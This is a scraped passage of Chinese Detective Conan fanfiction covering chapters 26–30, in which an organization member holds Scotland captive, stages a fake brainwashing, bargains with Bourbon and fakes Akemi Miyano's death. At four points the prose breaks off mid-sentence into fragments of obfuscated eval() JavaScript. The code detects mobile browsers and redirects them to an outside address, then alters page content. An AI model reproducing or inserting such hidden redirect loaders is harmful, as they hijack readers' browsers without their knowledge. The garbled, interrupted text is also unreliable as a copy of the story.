l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304709|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尖锐物品。 我抓住那根快要透明的Spider,用力一扽让苏格兰失了平衡,然后欺身上前把他摁倒在地。 我抽掉他手里的东西,淡淡地说:“希望你这个行为不代表拒绝我的提案。” “不然……”我牢牢压住奋力挣扎的苏格兰,作出一副威胁的样子:“不然我就要把你关在我家里,让你给我当一辈子的厨子啦。” “汪汪!”我听见莉莉在焦急地扒门,直接一手刀劈晕苏格兰,连忙喊道:“没事的莉莉!我没事!” 我把苏格兰抱回床上,用Scorpion割掉他脖子上的Spider,然后毫不掩饰地给Spider调成肉眼看得见的颜色,再把他的四肢束缚住,直截了当地告诉他,他目前的活动范围仅限这个房间。 我搜走所有可能被当成武器的物品后,把莉莉放进来,抱着她好好安慰了一番:“好孩子好孩子,没事的,这个人不是坏人,只是和我有点冲突而已。”我制止了她要往上扑咬的行为。 “走吧莉莉,我们去买晚饭!”把莉莉哄去拿狗绳后,我迅速在房门前加了堵Escudo:“保险起见。我就不信他能打破我家的墙逃出来。”我恶狠狠地道,对苏格兰还真是不能放松警惕,不然一个错眼人就自杀了。 我给莉莉系上绳,放心地出门了。 在外面和莉莉吃完晚饭,又让她撒够欢了,我才打算回家给苏格兰送便当去。 “说起来,波本昨晚是不是一点动静都没有?把苏格兰运回家的时候完全没有预想中的阻碍。”我跟系统聊道:“他是不是被黑麦绊住了脚步啊?” “估计是。虽然都是红方,但他们彼此不知道,还在猜忌呢。行事可不得小心?但他不是有给你发消息问关于苏格兰的处决结果吗?” “确实,我给他回的是处决方案还没定,吊吊他的胃口,欸嘿。”我掏出手机,点开波本的对话框看了看,没发现新消息后,转而打给琴酒。 跟琴酒汇报完后续的计划,我回到家里给苏格兰放饭。 “怎么样?还要逃吗?”我看着房间里不少物品被挪动的痕迹,把便当递给他。 “你是非要我接受其中一个方案。”他慢条斯理地吃着。 “嗯。你要是想和我耗着也没问题,我有的是时间哦。”我反坐在椅子上,一派轻松地道,“反正把你拘在这里我也不亏,虽然没法让你心甘情愿地当厨子。”我有点可惜。 苏格兰没应声。 “不过,你真的愿意一辈子被我关着吗?” “你怎么知道我逃不出去?”苏格兰毫不示弱。 “你试过了吧。割得开那些绳子吗?”我笑吟吟地问:“那就是我的仰仗。” 他顺着绳子,望着嵌到墙里的根:“你的绳子确实很奇怪。” 我只微笑地回望他,不打算提供更多信息。 “那就打消耗战试试吧。”我往房间里配套的卫生间走去,远远地就看到碎了一地的镜子:“苏格兰酱,你还真是……记得赔我。”我说着,找工具扫走了所有碎片。 27.第二十七章 拉锯战持续了一周后,苏格兰终于在波本的一通电话里败下阵来。 彼时我正在他面前应付着波本的打探。 我夸大其词地描写苏格兰的处境:“苏格兰酱真是硬气啊,不见天日地被关了七天还是不肯吐露出半点消息。” 我故作苦恼地问:“波本,你是情报专家,肯定知道该怎么样撬开俘虏的嘴吧?要不你给我出出主意?吐真剂,致幻药,肌肉迟缓剂,还有什么用得上的?我都可以搞来。” 我对苏格兰做了个噤声的手势,坏心眼地折磨波本。 我听着那头显得有点沉重的呼吸,恶劣地朝苏格兰笑。 真沉得住气啊。我赞叹地与靠在床头的苏格兰对视。 “啊,虽然我知道你和苏格兰的关系一直不错,但现在可不是心软的时候。”说这话的时候,我光明正大地观察苏格兰的表情。 他毫无破绽地微笑着。 我打开扬声器,让他也能听到波本的回应。 “利莱酒,你做不到的话,不如让我上?”波本还惯会顺竿爬的,这就找到见苏格兰的借口了。 “啊,抱歉,波本,刚刚没在听。琴酒大哥说拷问情报这个法子太慢了,所以我们准备送苏格兰酱去洗脑了。那么我就先挂了哈。”说罢,我毫不留情地摁掉通话。 “你这是确信我会答应了?”苏格兰问道。 “嘛,难道你打算拒绝吗?”我反问回去,“身为卧底,你的觉悟应该不会容许你就这么远走高飞,一切努力付诸东流吧?” 苏格兰笑了笑:“你说得对。我接受你的提案了。” “那么,事不宜迟。毕竟我都和波本说了那样的话,那就得落实啊。” 我补充道:“整个洗脑过程会在琴酒大哥的眼皮子底下发生,不过你放心,我已经掉包了洗脑的仪器,所以给你戴仪器只是做个样子,到时候你需要配合,做出一副洗脑成功的样子。” “这个流程你之前可没说过……” 一看苏格兰似乎要反悔的样子,我打断道:“不这样怎么瞒得过?开弓没有回头箭。” 我不由分说地抬手就给苏格兰喷麻醉:“要委屈你再昏迷一段时间了。” 组织开发的一喷即晕真的好用,可惜药效也就两个小时。 给琴酒汇报了进度后,我马不停蹄地载着苏格兰开往他所在的研究所。 把五花大绑的苏格兰抱上装模做样用的电椅上后,我给他装上监测心电和脑电波的设备。 看了眼数据,确认苏格兰现在在装睡后,我微不可闻地道:“记得我跟你说的。” 我转到隔壁房间,和琴酒透过单层玻璃观察苏格兰。 “大哥,对外用的借口就说是为了测试新的洗脑技术吧?” “破绽百出的借口。”琴酒点评道。 “那样才能叫人疑心,前来调查啊。”我分析道:“朗姆肯定不信,不过他就交给大哥来对付啦。” 早在琴酒答应成为Boss之后,我就把乌丸莲耶的邮箱和密码全都移交给了琴酒。 系统还顺带把总结出来的扮演经验也发了一份。 “需要乌丸莲耶的出场的话,大哥再来叫我就行。”我极力推卸任务道。 “朗姆应该也会派波本来我身边调查,毕竟我曾经带过他。”我只给自己揽轻松的任务:“波本和苏格兰交给我就行。” “你还挺会挑。”琴酒斜睨着我。 “嘻嘻,大哥你身为Boss多承担一点是应该的嘛。”我吹捧道。 琴酒扬了扬下巴,示意我开始走这个做戏的流程。 我随便播了个海浪的白噪音,娓娓道来:“你是苏格兰,是黑衣组织的代号成员。你的直属上司是利莱酒,你要无条件地听从上司的命令。你对组织忠心耿耿,交代给你的任务,你都会一丝不苟地完成。” “组织曾派遣你去日本公安当卧底,可未曾想他们又把你派回黑衣组织,所以现在的你是双重卧底,表面上你忠于日本公安,但你其实是忠于黑衣组织的。” 说到这里,我顿了顿,面不改色地继续瞎编:“可惜,同样埋伏在日本公安里的卧底误伤了你,所以你作为日本公安的表层身份在黑衣组织里被揭露。组织自然不会处置你,但是为了给出一个说得过去的、留下你的命的理由,组织假装给你洗了脑。” “往后的日子里,你可以安心专注于组织的任务了。记住,无论是表层身份还是里层身份,你都是忠诚于组织的代号成员,苏格兰。” 一口气编出这么个故事背景,我不禁佩服自己。 “利莱酒,你还挺有想象力的。”琴酒也对我刮目相看。 “那是!”我自豪道。 上辈子我看了不少红黑文呢,双重卧底什么的都是基本操作。 我记起来还有些补丁要打,连忙收了得瑟,继续说:“关于你是双重卧底的事,知情者有Boss,琴酒和利莱酒,你在他们面前可以表现得表里如一。但其余的所有人,包括朗姆,都是不知道你的里层身份的,你不可以向任何人透露关于公安卧底的那一段经历。” “那么,欢迎回来,苏格兰。”我把这句话作为结束语,关闭了麦克风。 “明明只是做戏,没想到你还编了这么个像模像样,能自圆其说的设定。”我自然地把琴酒这句话当作称赞。 “走吧,大哥,我们去看看。” 我把监测设备都取掉,问道:“苏格兰酱,感觉怎么样?” “还不错。”他笑得温润。 “那么就让我们试试实验成果吧。”我兴致冲冲地点菜:“苏格兰酱,今晚我想要吃炸酱面。” “好的,那我们一会去买相应的食材吧。”苏格兰应下道。 “大哥,你看,好像有用欸。”我喜滋滋地道:“我未来的伙食有着落啦。” 琴酒叼了根烟,没点燃:“问问他组织里还有没有别的日本公安。” “苏格兰酱,日本公安有别的安插在组织内的卧底吗?” 苏格兰作出回忆的神态,摇了摇头。 “真的没有?”我再次确认。 “没有。利莱酒,你不相信我吗?” “没有哦,只是确认一下,你也知道琴酒大哥的多疑的。”我轻快地说。 “看来成功了。”琴酒往外走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309558|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去:“苏格兰的监管就交给你了。” “拜拜——大哥。” 计划没出差错,苏格兰的自我认知依然是诸伏景光,毕竟他没供出波本。 “走啦,苏格兰酱,我们去买东西啦。” 在苏格兰被洗脑过后的消息传开后,我不出所料地被波本缠上了。 但凡我在组织里露面,方圆十里必定有波本的身影。 情报人员的消息太灵通了也不好,逮我简直是一逮一个准。 要不是我每次都有好好排查车上或者衣服上有没有定位器,我肯定早被波本追到家里来了。 不过就这么一直拦着他不让他和苏格兰见面也不是办法,再这么缠下去我也会烦的。 好一记回旋镖。 昔年我用在琴酒身上的招数,如今自己也体验到了。 严防死守地过了几个星期后,我决定跟波本摊牌。 “波本,我们谈谈。”我故意在训练场现身,边训练边等波本来找我。 “好啊。去哪谈?”他欣然答应。 “跟我来。”我把他带到我车上,看他谨慎地搜查了一番才坐进副驾驶。 “我们做个交易吧。”我直截了当地道。 波本挑了挑眉:“哦?” 我提出条件:“你在未来帮我救一个人并伪造TA的假死,而我也在能力范围之内帮你做一件事。” 波本似笑非笑地看着我:“这个交易听起来不太平等吧?” “不过我很惊讶哦,利莱酒,你居然会想救人?”他讽刺我道。 我不禁又反思起了自己在他们眼中的形象,莫非是什么混邪乐子人吗?草菅人命的那种? 好吧,寺内真斗事件的失误确实会给人这种印象。 “嘛,你就说说,答应,或者是不答应。” “你能为我做到什么事?又为什么会认为我会答应你的要求?”他探究地问。 我托着下巴,故作沉思道:“我能为你做什么啊——给你解答一些事?或者,让你见到一些你想见到的人?” “啊!不过不包括帮你出任务这种事哦。”我连忙补充道:“你要是提这种要求,交易直接作废。” 波本眯了眯眼:“你能告诉我多少事?又怎么知道我想见谁?” 波本,好会拉扯。 我感叹着毫无进度的对话,打算直接点,当谜语人本来也不是我的风格:“你这些天来一直堵我不就是为了打探和苏格兰相关的事嘛。” 波本不置可否。 “我可以让你跟苏格兰见一面。” “只要我答应你的交易?”波本脸上写满了怀疑。 我点头。 波本像是被气笑:“利莱酒,你不觉得这个交易很不公平吗?救人加上假死但是只能换来跟苏格兰的一次见面?” 我斟酌了下,妥协道:“那行,你可以随时与他进行会面——当然,在我的监管下。”这话听起来怎么感觉苏格兰像囚犯呢。 “不够,你还得告诉我苏格兰被你们带走后发生了什么。”波本继续讨价还价。 我撇了撇嘴:“波本,你不要得寸进尺。” 28.第二十八章 沉默在这一方小空间里流淌。 波本寸步不让。 我为难地道:“这件事我不能说。” 其实就是懒得编造合情合理的前因后果说给波本听。 让苏格兰之后告诉他不就行了。 “你要是坚持的话,恐怕交易只能作废了。”我看着他,一派诚恳。 “你说的救人是需要我从头到尾都出力?”波本没有立即答应。 “放心,我不会撒手不管的。”我目前也不知道具体会怎么发展,但肯定需要他帮我调换尸体,然后出具死亡证明,于是只这么含糊地保证。 波本沉吟了许久。 我看了眼时间,有点不耐烦了:“去不去给个准话,我好让苏格兰准备三人份的晚饭。” 波本明显无语了一瞬:“去。” “行,交易成立。”我给苏格兰打电话:“摩西摩西苏格兰酱?今晚可以准备三人份的晚餐吗?我们有客人哦。” 我载着波本开回老巢,他终归还是要知道我家的地址了,以后我不会天天都能看见波本吧? 我有一搭没一搭地应付着波本,终于到家。 莉莉一如既往地来迎接我,苏格兰站在门口,穿着围裙满脸微笑地看着我。 好怪,怎么恍惚中有种家庭和睦的感觉。 我摇摇头甩掉这种错觉,专心回应着莉莉的热情。 我摸着她的头,一下忘了家里有俩不熟的人。 等我和莉莉互动完毕,波本和苏格兰已经在深情对视了。 “你俩愣着干嘛呢?进门啊?”我带着莉莉路过他俩。 看波本的表情,他俩应该还没相认,一脸苦相。 接着我就欣赏了好一出演不熟的戏码。 津津有味地端详了一番心里苦涩面上还要装得一派淡定的波本,我好心地给二位撕掉苦情剧本的皮。 “好了,你俩不用对演了。”我夹了一筷子牛肉,漫不经心地开始揭晓真相。 “我知道的哦,你们俩都是日本公安这件事。”嚼嚼嚼,这牛肉真好吃。 “你在试探什么?利莱酒?”波本表情不善地盯着我,连吃饭都没心思了。 我看着他眼神凝重地放下筷子,有点抱歉:“不好意思,我是不是该等我们吃完了饭再说的啊?” “在饭点掀马甲确实会让人没胃口。”我又吃了块肉,反思道:“下次我一定选个更好的时机。” “你是在指控我也是日本公安?”波本说道。 “不是指控,是知道。”我不受干扰地哐哐干饭。 “证据?”波本双手抱胸,一副我好好听听你能说出什么所以然的模样。 “没有哦。”我淡定地道:“但我知道你和苏格兰是好朋友。” “还是一起长大的幼驯染吧?” 我轻飘飘地炸懵了两个人,饭桌上的气氛瞬间紧绷起来。 “呐?诸伏景光?”我先是偏头对苏格兰说,又偏头转向波本:“降谷零?” 我趁着两人凝固之际,迅速夹菜。 “你在说什么呢,利莱酒?”这回是苏格兰开口,波本表情震惊了一瞬,很快回过味来。 “没必要继续装下去了吧?我说出来也不是为了什么,只是逗波本逗够了,看他那副为好朋友心里焦急还得强装镇定的模样实在让我于心不忍啊。”我故作同情地道。 “断线卧底可没有那么大的价值。反正苏格兰酱你根本没被洗脑这件事对于幼驯染来说也没什么好隐瞒的吧?直说岂不是让大家都开心点?”我眼睛一转,看好戏似地说:“还是苏格兰酱你也很喜欢看波本为你着急的样子?我懂,这样捉弄人确实很有趣。” “我才不像你一样恶趣味呢,利莱酒。”苏格兰先给自己平反道。 “啊啦,苏格兰酱你不是演得挺起劲的嘛——”我调侃道:“啊,不会是演给我看的吧?为了不让波本被我注意到?” 我啧啧称奇:“好伟大的友情。” 我吃完主食,拿起一旁的水果蛋糕:“你们甚至是同一届警校毕业的。真不懂你们的上司是怎么想的,居然偏偏把你俩安插到同一个组织里当卧底。鸡蛋不能放同个篮子里的道理不懂吗?” “不放在一起怎么制造剧情高潮嘛。”系统实诚地解释道。 “也对。”我感受着嘴里的甜味,心情颇好地眯起了眼睛。 “你是什么时候知道的?”波本冷冷地问道。 我咬着勺子:“唔,从见你们的第一面起?” “既然你知道,为什么敢在现在这个场合下坦言这些?”波本语带威胁:“不怕我们联手对付你吗?” “你是指把我抓去吃牢饭吗?”我珍惜地吃下最后一口小甜点:“你猜我有没有准备后手呢?我给琴酒大哥发一封邮件,你们在组织里的身份不就完全暴露了吗?只是为了抓我而葬送两个卧底,值得吗?” “以你知道的情报来说,这么换,也不亏。”波本一副虎视眈眈,随时准备动手的模样。 “我以为,我这么久都还没举报你们的行为已经足够展现我的诚意了?”吃饱喝足,真要动手,我也不慌,就是会有点可惜这个经营了这么久的身份。 我决定再挽救一下这场岌岌可危的面谈:“我对你们没有恶意,这点苏格兰酱应该很清楚吧?我想要的也很简单,按我之前说的交易,你们在未来帮我救一个人,而我会对你们睁一只眼闭一只眼。” “穷凶极恶,丧心病狂的利莱酒,你要我们怎么相信你?”波本的态度依然没有改变。 我摊了摊手:“爱信不信。以及,别把我说得那么难听嘛——我自认还是挺有原则的。” “呵。”波本予以嘲讽。 “利莱酒,你为什么要帮我们?”苏格兰放软了点语调,不解道。 不会是在跟我玩红脸白脸那一套吧? “我不是强调过好几次了吗?”我认真地道:“为了你的厨艺啊,苏格兰酱。” “别扯了,怎么可能是因为这个理由就要背叛组织?”波本翻了个白眼:“说是要合作,但一点诚意都没有。” “我没说要和你们合作啊。”我纠正他的话:“只是交易。除了交易里商定的内容,多余的事我也不会干。” “那为什么选我们做交易?”苏格兰追问道。 “觉得条件比较容易被正方的人答应。”我托腮道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311972|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们这样问,是代表同意交易了?” 不等他们回答,我又趁热打铁道:“说实话,就这么一个小交易不至于这么拖拖拉拉的吧?好歹我也救了你的幼驯染,波本,你不打算回报这份恩情吗?” “我个人自然很感激你的行为,可现在是涉及到了公事,自然得慎重地和你这个犯罪分子交涉。”波本油盐不进。 “好好好。”我简直要被他气笑了,“行,我给你们时间商量。” 我转头吃饱饭的莉莉喊道:“莉莉!我们出门溜达了!” “希望你们不会像爱拆家的小狗一样把我家弄得乱七八糟,包括但不限翻东西和安窃听器。”临走前,我想起波本做事的风格,警告到:“但凡被我发现,你就再也别想见到苏格兰酱了。” 说实话,有苏格兰这么个人型窃听器在这里,应该不至于还要安吧? 我特意带莉莉走了许久,回到家时,他们看起来已经有结论了。 “统,帮我查一下有没有窃听器。”我还是有点不信波本会轻易放弃安装窃听器的想法。 “确实没有。”看来波本还挺听苏格兰的话? 这次达成协议没再有过多的拉扯。 * 重要的事情干完,我又过上了悠闲的生活,当然,伴着波本时不时的来访。 我给苏格兰指派了好几个跟朗姆有关的任务,也不着痕迹地把组织的一些研究所卖给了公安。 我和琴酒的计划正在稳步进行当中,组织里不被需要的部分会被一点点清除。 组织会变得更加隐蔽,我们最终还是决定扎根在日本的阴影中。 日子过着过着,黑麦是FBI卧底的消息传来。 琴酒喊我一起去围剿,可我懒得掺和,只把苏格兰指派去支援。 反正有波本在,黑麦肯定能被逐出日本。 他们俩也能借此机会接触到更多有关朗姆的情报。 * 随着工藤新一的声名鹊起,我寻思着原著剧情应该快要开始了。 我跟莉莉遛弯顺手做好人好事时也终于碰上了主角团一行人。 那是一起杀人案,我作为目击证人提供线索。 在现场旁观的我只感觉又看了一集柯南动画,着实有趣。 案件了解后,我和主角团认识了一下。 “早就听说了当归小姐乐于助人的名声,你好,初次见面。”工藤新一伸出手:“我是工藤新一,请多指教。” 我欣然握手:“我是当归苓,最近对高中生侦探也是略有耳闻。” “我是毛利兰。”站在他身侧的有着独特发型的少女也自我介绍道:“请多指教。” “毛利小姐你好呀。”我念着‘毛利小姐’,总觉得十分不顺口,“虽然有些冒昧,但是我可以直接叫你‘兰小姐’吗?是很好听的名字呢。” “当然可以!” “兰小姐,请多指教。”我笑眯眯地也和她握手。 莉莉也友好地围着她打转:“莉莉也很喜欢你呢。” “好可爱啊!我可以摸摸她吗?”毛利兰欣喜地看着莉莉。 “当然啦,放心吧,她不会咬人的。” 29.第二十九章 我慈爱地看着独角兽少女和小狗互动的温馨场景。 不愧是贝尔摩德封的天使。 两个都很可爱哦。 “当归小姐手上的茧似乎是经常拿枪?”工藤新一满怀好奇的问话打断了我的思绪。 “对。我喜欢射击,经常去打靶。” “恕我冒昧,当归小姐是从事什么职业的呢?” 我微笑道:“自由职业,勉强算个摄影爱好者?”我也不知道我算不算摄影师,毕竟我在拍照上也没有取得什么成就,甚至也不是为了卖钱才去拍的。 “这样啊,当归小姐刚刚提供线索时十分条理清晰,而且记忆力也很好,真的很厉害。”工藤新一说道。 “谬赞了,不过是笔录做多了,平时自然也会多留意一下一切。”我谦虚道。 “好了,新一,你就别追着当归小姐问东问西的了。”毛利兰制止了工藤新一的更多问题。 我笑了笑:“没事的,作为侦探,有好奇心是很正常的事。” 我摸了摸莉莉的头,眼看着她又去毛利兰脚边打转:“莉莉真的很喜欢兰小姐呢。” 莉莉应景地‘汪’了一声,表示赞同。 “不介意的话,我可以和兰小姐互换一下联系方式吗?”我礼貌问道:“我想莉莉一定会很想经常见到你的。” “好呀,我也很想和莉莉玩。”我和毛利兰记下彼此的号码。 “啊,说起来,我最近正准备带莉莉去附近的沙滩玩,兰小姐或许有兴趣吗?” 我知道这么快就对别人发起旅行邀请显得我非常可疑,但原谅我这个不善社交的人吧,我实在想不到该怎么不冒昧地跟主角团拉近关系。 毛利兰是个善良的少女,容许了我的套近乎。 一来二去,我算是勉强打入毛利兰的社交圈了。 认识了铃木园子,还经常蹭了各种活动——感恩财阀大小姐的慷慨和欧皇的运气。 然后,那个日子,到了。 我没有去围观那一棍,只是在后来的日子里结识了寄住在毛利家的小孩江户川柯南,还有幸参与了几次日常回。 又一次案件结束,我和毛利兰她们吃着甜点,瞥了眼柯南,怀着逗人的心思问道:“兰酱,最近好像没看见工藤君啊?” “嗯,新一说他有案件要忙,暂时休学了。”提起消失不见的竹马,毛利兰顿时掩不住担忧。 “啊?!”我也做出一副忧心忡忡的模样:“工藤君是不是遇上什么大麻烦了啊?都严重到休学了……再怎么痴迷于案件也不该落下学业啊。” 我说着说着逐渐真情实感:“他不会要落下很多吧?万一到时候兰酱你都毕业了他还没回来那该怎么办啊?兰酱,我感觉这事有点不太对,工藤君不像是顾此失彼的人。” 我好像成功地把焦虑的情绪传递给了她。 “那怎么办啊?我其实也感觉新一平白无故失踪很不对劲……”毛利兰有点忍不住哭腔道。 “啊!那个,新一哥哥说过他目前平安无事,只是被一些事情绊住了暂时回不来……”一道童声安慰着小兰道。 “柯南君跟工藤君有联系吗?”我疑惑地问道:“好奇怪啊,有什么理由会让工藤君把事件讲给小孩听都不讲给兰酱你听呢?难道柯南君提供的帮助能比兰酱一个高中生还要多?” “啊……这个……那个……”柯南支支吾吾地想不出理由。 “我现在就打电话给新一问问!”毛利兰被我说服了。 我看着慌张的小孩,心里忍不住偷笑。 “当归小姐,打不通啊怎么办?!” 眼看事情就要大条了,我连忙道:“没关系的,工藤君可能是没看到电话,或者现在腾不出手。之后肯定会回拨给你的,你也不要太担心了。” “既然他还能跟你联系,就说明他姑且没有被禁锢自由,人也还是那个人,不过可能暂时不能出现在你面前?”我分析一通,安抚着她。 “当归小姐,你说得没错。新一给我发消息说他目前在做一件很重要的事,晚点再打给我。”毛利兰终于破涕而笑。 “嗯嗯,就是这样。”我赞同道:“可能工藤君遇到了点问题,虽不致命,但是他怕牵连到你,所以才休学避避风头?” 毛利兰抹掉眼泪:“我才不怕被牵连!” 我把纸巾递给她:“我知道的,我们兰酱很勇敢哦。” “不过他会担心啊,就像你担心他一样,他也害怕你因为他受到伤害。你们想着彼此,是一件很好的事啊。” 我欣慰了不到半秒,就话锋一转:“不过话又说回来,他确实该好好跟你说清前因后果,不然你连自己可能要面对的危险是什么都不知道。” “什么都不知道才是最可怕的。正所谓,知己知彼,百战不殆。要有所准备,才不会被打得措手不及。”我看着若有所思的小孩笑了笑。 “兰酱,等他回电后,一定要仔细问问哦。” “嗯!” 甜品吃得差不多了,今天的事也搞完了,我望着窗外的天色,说:“兰酱,我送你们回家吧,都这么晚了,你们走夜路,我不放心。” “好的,谢谢当归小姐。”毛利兰牵起柯南。 “跟我还客气什么。” 我目送着两个人上了毛利事务所,开回家。 “统,可惜柯南现在应该对保时捷356A脱敏了,不然我就可以看到他精彩纷呈的表情了呢。”我遗憾地跟系统说着。 “就爱逗小孩。”系统无奈地道。 * 算着宫野明美的任务期限将近,我从琴酒那领了这个监管任务。 “利莱酒,你什么时候在意起这种小任务了?”琴酒敏锐地察觉我的反常。 “和大哥交给我的长期任务有关哦。但是具体的不能说,因为天机不可泄露。”我坦言,但只坦言了一半。 “故弄玄虚。”琴酒没再多问,直接挂了电话。 “苏格兰酱,快到你们该履行承诺的时候了哦。”我给苏格兰揭晓了要救的人方便他们做些准备工作。 然后,那一天到了。 我从琴酒那里拿到了宫野明美的联系方式,亲自去收尾杀了那两个共犯,然后约她在仓库见面。 “利莱酒。”宫野明美披着夕阳走过来:“你为什么要杀了那两个人。” “这不是组织的一贯作风吗。”我漫不经心地回答。 “你之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323916|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我只要做完这个任务,我就可以和妹妹一起脱离组织的。我妹妹呢?”她有些压不住怒气地问。 “不要着急。我承诺你的事自然会做到。那一天很快就会来的哦。”我们拿枪对着彼此。 “明美酱,你是要跟我比准头吗?”我对着她的肩膀开了一枪,欺身上前夺走她手里的武器:“我建议你还是学学怎么用枪比较好哦。” “利、利莱酒……” 我又对她腹部开了一记Astroid,再趁着她痛晕过去的时候把血包放好。 对于普通人来说可能还是太痛了,不过不这样的话没有我想要的效果。 “放心。你醒来之后一切都已经结束了。”我从她兜里搜出那把假钥匙后,把她留在原地。 我走出仓库,启动了Chamelion后又悄悄溜进来,准备近距离旁观她在柯南的戏份里落下帷幕。 血迹晕染了她白色的西装,柯南这个小不点焦急地扶起宫野明美。 我蹲在他们旁边,听着明美向他揭露组织的存在。 “统,这也没什么信息量啊。”我百无聊赖地托着腮。 “但这是柯南开始接近组织的重要场景……啊!柯南要打电话了!”系统慌张地提醒道。 我眼疾手快地一手刀敲晕柯南,将他放平到地上。 不好意思,要让主角稍微躺会儿地板了。 我抱起宫野明美把她送去正在待机的苏格兰。 “你带她去治肩膀上的伤吧。肚子上的是假的,血袋而已。”我嘱咐完这边,又给琴酒汇报。 “摩西摩西?大哥,宫野明美的事解决了。” “还有什么事?” “麻烦大哥把她死了的消息散布出去哦。” “死了个外围成员而已,要昭告天下不成?”琴酒嗤了一声。 “要钓大鱼嘛。”我暗示道。 “雪莉?她一个科研人员能翻出什么风浪?” “嘛嘛,大哥你就等着看吧。”我神神秘秘地道:“会超出你的想象哦。” 琴酒不满道:“不要跟波本学。我讨厌神秘主义者。” “嘻嘻,之后我会向大哥解释的啦。”我补充到:“钓上来的也不止雪莉哦。” “你是说……黑麦?”琴酒半信半疑地猜到。 “Bingo!” “可能吗?宫野明美不只是他进入组织的工具吗?” 我笑而不语:“嗯,事情就是这样啦,大哥拜拜。” 把【救济宫野明美】这项任务划掉,我等待着雪莉叛逃的消息。 “别忘了去取钱。”一经系统提醒,我才有时间看看从她身上搜出的真钥匙。 “说实话,我不记得她提到的地点,也懒得去找……统,你说我委托柯南去找怎么样?”我十分作死地提议道。 “你是生怕当归苓这个马甲不报废是吧?” “嘛,交给外围成员去做吧。” 我又思考了下真酒马甲会暴露的情况:“只要我不在雪莉,贝尔摩德和黑麦面前出现,那直到波本出现前我都是安全的。” “但贝尔摩德已经在日本了。” “啊,那就能瞒多久瞒多久?” 30.第三十章 我暂时还不想被贝尔摩德发现利莱酒潜伏在主角团附近,于是我直接又来了次长达一个月的自驾游。 当然,只有莉莉,没有苏格兰。 我给苏格兰发了个有关朗姆的海外任务调开他,在朗姆的地界随便他怎么查。 安安分分地待过了满月篇,我被琴酒新下发的任务叫回了东京。 我无聊地坐在琴酒的后面,像猫咪撩羽毛一样抓着他的长发玩。 “利莱酒,好久不见。”贝尔摩德坐进车里来。 看着容颜未改的她,我仿佛又回到了那年的纽约:“好久不见,贝尔摩德。” “你为什么来日本了?”我疑惑。 “秘密。”她笑得神秘。 “哦。”既然不愿意说,我也懒得追根究底,捻着琴酒的发尾绕圈圈:“大哥,他们都好慢哦。” 一辆银色的车缓缓驶来,伏特加立刻载着我们跟上。 那边的人降下车窗,露出一张我在电视上看过的脸。 “为什么这么慢?约定的时间可是十点,基尔。”琴酒在底下藏着枪,问道。 我打了个哈欠,大哥现在好像变温柔了?都不会把枪抵着人脑袋了。 “抱歉,有辆可疑的车在跟着我,以防万一,我把它甩掉了。”基尔解释道,“不过可能只是我多心了,所以,可以把你的□□收回去了吗?琴酒。” “要是因为胡乱的猜疑,而对我开枪的话,可就没法除掉DJ了。” “诶——这个距离,你躲不过去吗?”我不嫌事大地开口。 “你是?”基尔问道。 “初次见面,基尔。”我笑眯眯地探了个头出来:“我是利莱酒,请多指教哦。” 许是和琴酒贴得太近了,他不爽地用□□顶着我的额头把我推回去。 “利莱酒?好像没听说过这个代号啊。”基尔思索道:“琴酒,是新人吗?” “不,是前辈哦。”我纠正道。 “基尔,最终确认一下。你重复一遍任务细节。”琴酒终止了闲聊。 我撇了撇嘴,无趣靠着座椅听他们沟通任务细节。 琴酒把我喊来说是当最终保险之二的,所以我不参与第一计划。 “好了,时间就快到了。赶快把事办完,不要让我有出场的机会,好吗?”贝尔摩德催促道。 啊,这就是保险之一。 我迷茫地看着基安蒂情绪激动地跑过来控诉卡尔瓦多斯之死:“啊?卡尔瓦多斯死了?什么时候?” “出了点意外,他被FBI抓到了,自杀了。”贝尔摩德给情报落后的我科普道。 “哦,被抓到那就没办法了。”说着,我恍然大悟,一副懂了琴酒用意的模样:“原来大哥你叫我来是这个意思!放心吧大家,但凡任务里出了差错,就由我负责给暴露的那个人一个痛快。” “喂!琴酒!你把利莱酒喊来是什么意思!”基安蒂看起来更激动了:“真如她所说任务失败就将我们全员灭口?!” “利莱酒,别闹了。”琴酒先对我说,又对她说:“回到车上,基安蒂。” 基安蒂愤愤不平地回去了。 贝尔摩德动作丝滑地点了根烟。 我不喜地问:“贝尔摩德,可以请你不要抽烟吗?” “怎么?你不喜欢烟味?”贝尔摩德朝我吐了个烟圈。 